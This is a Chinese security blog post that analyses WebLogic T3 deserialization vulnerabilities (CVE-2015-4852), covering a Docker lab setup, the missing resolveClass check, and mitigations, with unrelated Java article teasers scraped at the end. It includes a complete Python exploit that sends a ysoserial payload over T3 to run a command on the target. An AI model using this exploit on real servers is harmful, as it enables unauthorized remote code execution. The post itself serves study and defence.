Java安全之初探weblogic T3协议漏洞

Java安全之初探weblogic T3协议漏洞

文章首发自安全客:Java安全之初探weblogic T3协议漏洞

0x00 前言

在反序列化漏洞里面就经典的还是莫过于weblogic的反序列化漏洞,在weblogic里面其实反序列化漏洞利用中大致分为两种,一个是基于T3协议的反序列化漏洞,一个是基于XML的反序列化漏洞。当然也还会有一些SSRF和任意文件上传漏洞,但是在这里暂且不谈。

下面来列出两个漏洞类型的一些漏洞编号

基于T3协议漏洞: CVE-2015-4582、CVE-2016-0638、CVE-2016-3510、CVE-2018-2628、CVE-2020-2555、CVE-2020-2883

基于XML:CVE-2017-3506、CVE-2017-10271、CVE-2019-2729

粗略的列了几个代表性的CVE漏洞。

在Weblogic中,有部分漏洞是基于上几个漏洞的补丁进行的一个绕过。而在前一段时间内,CVE-2020-14882和CVE-2020-14883里面14883就是基于14882的补丁去进行的一个绕过。

0x01 浅析T3协议

关于T3协议的絮絮叨叨

关于这个T3协议,他是Weblogic里面独有的一个协议,在前面写的一篇关于RMI的文章里面提到过RMI的传输过程是传输的序列化数据,而在接收后会进行一个反序列化的操作。在Weblogic中对RMI规范的实现使用T3协议。而在T3的传输过程也是一样的。

下面对T3协议的传输过程、如何执行的反序列化操作、T3协议的执行流程去进行一个分析。

在之前先来看一张weblogic进行反序列化的执行流程图。

这里借用了一个图片,在该漏洞的一个入口点是weblogic里面的方法调用了原生的反序列化方法进行一个反序列化操作。

而这里还需要知道该方法在传输完成后是如何进行调用的。关于原生反序列化的操作原理这里就不讲了,可以看到我的该篇文章。

Java安全之原生readObject方法解读,这里主要来讲一下T3协议的相关内容。

T3协议概述

WebLogic Server 中的 RMI 通信使用 T3 协议在 WebLogic Server 和其他 Java 程序(包括客户端及其他 WebLogic Server 实例)间传输数据。

T3协议结构

在T3的这个协议里面包含请求包头和请求的主体这两部分内容。

请求包头

这里拿2个CVE-2015-4852的POC来进行讲解。

t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001

这里就是他的请求包的头。

使用Wireshark对它进行抓包,由于配置的网卡抓不到包,靶机地址会在23段和1段的ip中来回切换。

这里为了能抓到包配置了一个nat模式的网卡,进行抓包,地址为192.168.23.130,改一下poc的目标地址,发送payload。

在这里在发送请求包头的时候,打了个断点,让脚本只发送请求包头数据,方便抓包。打开Wireshark抓包后发现,发送该请求包头后,服务端weblogic会有一个响应

HELO后面的内容则是被攻击方的weblogic版本号,在发送请求包头后会进行一个返回weblogic的版本号。

请求主体

在T3协议里面传输的都是序列化数据,这个在前面也说过,而传输中的数据分为七部分内容。第一部分为协议头。即t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n这串数据。

来看到下面的图,图片取自z_zz_zzz师傅的修复weblogic的JAVA反序列化漏洞的多种方法文章。

看到第二到第七部分内容,都是ac ed 00 05,说明该串内容是序列化的数据。而如果需要去构造payload的话,需要在后面序列化的内容中,进行一个替换。将原本存在的序列化内容替换成我们payload的序列化内容,在传输完成后,进行反序列化达成攻击的目的。

- 第一种生成方式为,将weblogic发送的JAVA序列化数据的第二到九部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。
- 第二种生成方式为,将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。

0x02 漏洞环境搭建

环境搭建

这里借用了A-team 的weblogic漏洞环境项目来做搭建环境,省去不必要的麻烦。

漏洞环境地址:https://github.com/QAX-A-Team/WeblogicEnvironment

jdk地址:https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html

weblogic下载地址:https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html

这里需要把下载好的jdk文件放在该项目的jdks文件夹下,weblogic的源码放在weblogics文件夹下。

编译运行

docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk7u21 .

docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21

然后在这里需要去将一些weblogic的依赖Jar包给导出来进行远程调试。

mkdir ./middleware
    
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/
    
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/
    
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib

如果不想这么麻烦的话可以直接运行对于的.sh脚本,比如这里安装的是1036 jdk是7u21 ,直接运行run_weblogicjdk7u21.sh,自动安装以及自动从容器里面导出jar包。

远程调试

在这里将jar包复制到物理机上,然后打开IDEA创建一个空项目进行导入。

完成后就来配置远程调试

为了测试,这里使用WeblogicScan来扫描一下,看看在断点地方会不会停下。

在这里发现已经可以进行远程调试,后面我们就可以来分析漏洞了。

0x03 漏洞分析

漏洞复现

在这先来讲漏洞复现一下后,再进行漏洞的分析

还是拿exp为例子,但是我们这里是docker搭建的环境,也没有构造回显。常用的弹出计算器,就算执行了也没法显示出来,所以在这里使用创建文件的方式验证该漏洞是否利用成功。

import socket
import sys
import struct
import re
import subprocess
import binascii

def get_payload1(gadget,command):
    JAR_FILE = './ysoserial.jar'
    popen = subprocess.Popen(['java','-jar',JAR_FILE,gadget,command],stdout=subprocess.PIPE)
    return popen.stdout.read()

def get_payload2(path):
    with open(path,"rb") as f:
        return f.read()

def exp(host,port,payload):
    sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sock.connect((host,port))

    handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
    sock.sendall(handshake)
    data = sock.recv(1024)
    pattern = re.compile(r"HELO:(.*).false")
    version = re.findall(pattern,data.decode())
    if len(version) == 0:
        print("Not Weblogic")
        return

    print("Weblogic {}".format(version[0]))
    data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新
    t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
    flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
    payload = data_len + t3header + flag + payload
    payload = struct.pack('>I',len(payload)) + payload[4:] #重新计算数据包长度
    sock.send(payload)

if __name__ == "__main__":
    host = "192.168.1.40"
    port = 7001
    gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21
    command = "touch /tmp/CVE-2015-4852"

    payload = get_payload1(gadget,command)
    exp(host,payload)

执行完成后,查看docker容器里面的文件。

docker exec  weblogic1036jdk7u21 ls tmp/

执行成功。

在执行exp的时候,如果开启debug去查看其实不难发现,发送t3的报文头信息以后会在返回包里面回显weblogic的版本号。

可以看到,后面通过正则提取了返回包的数据,拿到该版本号信息。

漏洞分析

T3协议接收过来的数据会在weblogic.rjvm.InboundMsgAbbrev#readObject这里进行反序列化操作。

来直接定位到该位置,可以看到断点的位置,里面调用了InboundMsgAbbrev.ServerChannelInputStream#readObject方法,查看一下

这里调用创建一个内部类,并且调用readObject方法,还需要查看一下 ServerChannelInputStream实现。

在这里其实就可以看到ServerChannelInputStream是一个内部类,该类继承ObjectInputStream类,而在这里对resolveClass进行了重写。

但是在此处看到,其实调用的还是父类的resolveClass方法。在resolveClass方法中也没做任何的校验,导致的漏洞产生。

后面来讲讲如何防御到该漏洞。

再谈resolveClass

resolveClass方法的作用是将类的序列化描述符加工成该类的Class对象。

前面分析readObject方法的时候,我们得知了shiro就是重写了resolveClass方法导致很多利用链无法使用,但是shiro在编写的时候,并不是为了防御反序列化漏洞才去重写的resolveClass,但是就是这么一个无意间的举动,导致了防御住了大部分攻击。

而在后面的weblogic补丁当中,也会基于这个resolveClass去做反序列化漏洞的防御。

贴上一张廖师傅的博客的反序列化攻击时序图:

那么这里需要思考到一个问题,为什么要在resolveClass进行一个拦截,而不是其他位置?

resolveClass方法的作用是从类序列化描述符获取类的Class对象,如果在resolveClass中增加一个检查,检查一下该类的序列化描述符中记录的类名是否在黑名单上,如果在黑名单上,直接抛出错误,不允许获取恶意的类的Class对象。这样以来,恶意类连生成Class对象的机会都没有。

来看到这个方法,在我的readObject分析文章里面贴出来一张图,readObject的内部使用Class.forName来从类序列化获取到对应类的一个Class的对象。

那么如果这里加入一个过滤,那么这里如果直接抛出异常的话,在readNonProxyDesc调用完resolveClass方法后,后面的一系列操作都无法完成。

参考文章

http://drops.xmd5.com/static/drops/web-13470.html

https://blog.knownsec.com/2020/11/weblogic12c-t3-%e5%8d%8f%e8%ae%ae%e5%ae%89%e5%85%a8%e6%bc%ab%e8%b0%88/

http://redteam.today/2020/03/25/weblogic%E5%8E%86%E5%8F%B2T3%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%8F%8A%E8%A1%A5%E4%B8%81%E6%A2%B3%E7%90%86/

https://xz.aliyun.com/t/8443

0x04 修复方案

这里借鉴z_zz_zzz 师傅的文章中提到的weblogic T3协议漏洞的修复方案,除了打补丁外还有其他的修复方案,先来说说打补丁的方式,打补丁其实也是在resolveClass方法中实现拦截。

开放在外网的情况下,还可以采用web代理和负载均衡。

web代理的方式只能转发HTTP的请求,而不会转发T3协议的请求,这就能防御住T3漏洞的攻击。

而负载均衡的情况下,可以指定需要进行负载均衡的协议类型,这么这里就可以设置为HTTP的请求,不接收其他的协议请求转发。这也是在外网中见到T3协议漏洞比较少的原因之一。

0x05 结尾

在这里其实分析比较浅,因为反序列化操作和CC链这一块,我觉得应该单独拿出来说,而不是集成到这个T3协议漏洞里面一并概述。所以在此处并没有对这两块内容进行分析,而这两块内容在前面都有进行分析过,自行查阅。后面的几个T3协议的漏洞,其实也是基于resolveClass的方式进行拦截过后的一个绕过方式,成了一个新的CVE漏洞。

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐


摘要: 原创出处 https://www.bysocket.com 「公众号:泥瓦匠BYSocket 」欢迎关注和转载,保留摘要,谢谢! 目录 连接 连接池产生原因 连接池实现原理 小结 TEMPERANCE:Eat not to dullness;drink not to elevation.节制
摘要: 原创出处 https://www.bysocket.com 「公众号:泥瓦匠BYSocket 」欢迎关注和转载,保留摘要,谢谢! 一个优秀的工程师和一个普通的工程师的区别,不是满天飞的架构图,他的功底体现在所写的每一行代码上。-- 毕玄 1. 命名风格 【书摘】类名用 UpperCamelC
今天犯了个错:“接口变动,伤筋动骨,除非你确定只有你一个人在用”。哪怕只是throw了一个新的Exception。哈哈,这是我犯的错误。一、接口和抽象类类,即一个对象。先抽象类,就是抽象出类的基础部分,即抽象基类(抽象类)。官方定义让人费解,但是记忆方法是也不错的 —包含抽象方法的类叫做抽象类。接口
Writer :BYSocket(泥沙砖瓦浆木匠)微 博:BYSocket豆 瓣:BYSocketFaceBook:BYSocketTwitter :BYSocket一、引子文件,作为常见的数据源。关于操作文件的字节流就是 —FileInputStream&FileOutputStream。
作者:泥沙砖瓦浆木匠网站:http://blog.csdn.net/jeffli1993个人签名:打算起手不凡写出鸿篇巨作的人,往往坚持不了完成第一章节。交流QQ群:【编程之美 365234583】http://qm.qq.com/cgi-bin/qm/qr?k=FhFAoaWwjP29_Aonqz
本文目录 线程与多线程 线程的运行与创建 线程的状态 1 线程与多线程 线程是什么? 线程(Thread)是一个对象(Object)。用来干什么?Java 线程(也称 JVM 线程)是 Java 进程内允许多个同时进行的任务。该进程内并发的任务成为线程(Thread),一个进程里至少一个线程。 Ja
Writer :BYSocket(泥沙砖瓦浆木匠)微 博:BYSocket豆 瓣:BYSocketFaceBook:BYSocketTwitter :BYSocket在面向对象编程中,编程人员应该在意“资源”。比如?1String hello = "hello"; 在代码中,我们
摘要: 原创出处 https://www.bysocket.com 「公众号:泥瓦匠BYSocket 」欢迎关注和转载,保留摘要,谢谢! 这是泥瓦匠的第103篇原创 《程序兵法:Java String 源码的排序算法(一)》 文章工程:* JDK 1.8* 工程名:algorithm-core-le
摘要: 原创出处 https://www.bysocket.com 「公众号:泥瓦匠BYSocket 」欢迎关注和转载,保留摘要,谢谢! 目录 一、父子类变量名相同会咋样? 有个小故事,今天群里面有个人问下面如图输出什么? 我回答:60。但这是错的,答案结果是 40 。我知错能改,然后说了下父子类变
作者:泥瓦匠 出处:https://www.bysocket.com/2021-10-26/mac-create-files-from-the-root-directory.html Mac 操作系统挺适合开发者进行写代码,最近碰到了一个问题,问题是如何在 macOS 根目录创建文件夹。不同的 ma
作者:李强强上一篇,泥瓦匠基础地讲了下Java I/O : Bit Operation 位运算。这一讲,泥瓦匠带你走进Java中的进制详解。一、引子在Java世界里,99%的工作都是处理这高层。那么二进制,字节码这些会在哪里用到呢?自问自答:在跨平台的时候,就凸显神功了。比如说文件读写,数据通信,还
1 线程中断 1.1 什么是线程中断? 线程中断是线程的标志位属性。而不是真正终止线程,和线程的状态无关。线程中断过程表示一个运行中的线程,通过其他线程调用了该线程的 方法,使得该线程中断标志位属性改变。 深入思考下,线程中断不是去中断了线程,恰恰是用来通知该线程应该被中断了。具体是一个标志位属性,
Writer:BYSocket(泥沙砖瓦浆木匠)微博:BYSocket豆瓣:BYSocketReprint it anywhere u want需求 项目在设计表的时候,要处理并发多的一些数据,类似订单号不能重复,要保持唯一。原本以为来个时间戳,精确到毫秒应该不错了。后来觉得是错了,测试环境下很多一
纯技术交流群 每日推荐 - 技术干货推送 跟着泥瓦匠,一起问答交流 扫一扫,我邀请你入群 纯技术交流群 每日推荐 - 技术干货推送 跟着泥瓦匠,一起问答交流 扫一扫,我邀请你入群 加微信:bysocket01
Writer:BYSocket(泥沙砖瓦浆木匠)微博:BYSocket豆瓣:BYSocketReprint it anywhere u want.文章Points:1、介绍RESTful架构风格2、Spring配置CXF3、三层初设计,实现WebService接口层4、撰写HTTPClient 客户
Writer :BYSocket(泥沙砖瓦浆木匠)什么是回调?今天傻傻地截了张图问了下,然后被陈大牛回答道“就一个回调…”。此时千万个草泥马飞奔而过(逃哈哈,看着源码,享受着这种回调在代码上的作用,真是美哉。不妨总结总结。一、什么是回调回调,回调。要先有调用,才有调用者和被调用者之间的回调。所以在百
Writer :BYSocket(泥沙砖瓦浆木匠)一、什么大小端?大小端在计算机业界,Endian表示数据在存储器中的存放顺序。百度百科如下叙述之:大端模式,是指数据的高字节保存在内存的低地址中,而数据的低字节保存在内存的高地址中,这样的存储模式有点儿类似于把数据当作字符串顺序处理:地址由小向大增加
What is a programming language? Before introducing compilation and decompilation, let's briefly introduce the Programming Language. Programming la
Writer :BYSocket(泥沙砖瓦浆木匠)微 博:BYSocket豆 瓣:BYSocketFaceBook:BYSocketTwitter :BYSocket泥瓦匠喜欢Java,文章总是扯扯Java。 I/O 基础,就是二进制,也就是Bit。一、Bit与二进制什么是Bit(位)呢?位是CPU
Writer:BYSocket(泥沙砖瓦浆木匠)微博:BYSocket豆瓣:BYSocket一、前言 泥瓦匠最近被项目搞的天昏地暗。发现有些要给自己一些目标,关于技术的目标:专注很重要。专注Java 基础 + H5(学习) 其他操作系统,算法,数据结构当成课外书博览。有时候,就是那样你越是专注方面越